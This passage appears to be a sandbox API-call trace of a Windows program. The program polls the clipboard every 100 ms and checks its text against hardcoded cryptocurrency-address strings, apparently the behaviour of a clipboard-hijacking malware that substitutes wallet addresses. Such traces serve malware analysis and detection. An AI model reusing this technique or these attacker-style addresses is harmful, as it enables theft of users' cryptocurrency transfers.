lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.537] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.537] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.537] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.537] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.537] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.537] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.538] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.538] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0048.538] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0048.538] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0048.538] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0048.538] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0048.538] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0048.538] Sleep (dwMilliseconds=0x64) [0048.643] GetOpenClipboardWindow () returned 0x0 [0048.643] OpenClipboard (hWndNewOwner=0x0) returned 1 [0048.643] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0048.643] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0048.643] GlobalSize (hMem=0x6069b8) returned 0x42 [0048.643] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0048.643] GlobalUnlock (hMem=0x6069b8) returned 1 [0048.643] CloseClipboard () returned 1 [0048.644] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.644] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.644] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.644] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.644] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.644] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.644] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.644] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.644] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.645] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.645] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.645] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.645] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.645] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.645] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.645] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.645] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.645] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.645] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.646] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.646] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.646] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.646] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.646] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.646] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.646] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.646] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.646] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.647] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.647] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.647] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.647] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.647] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0048.647] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0048.647] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0048.647] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0048.647] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0048.647] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0048.647] Sleep (dwMilliseconds=0x64) [0048.753] GetOpenClipboardWindow () returned 0x0 [0048.753] OpenClipboard (hWndNewOwner=0x0) returned 1 [0048.753] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0048.770] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0048.770] GlobalSize (hMem=0x6069b8) returned 0x42 [0048.770] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0048.770] GlobalUnlock (hMem=0x6069b8) returned 1 [0048.770] CloseClipboard () returned 1 [0048.770] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.771] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.771] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.771] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.771] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.771] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.771] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.771] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.771] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.771] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0048.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: 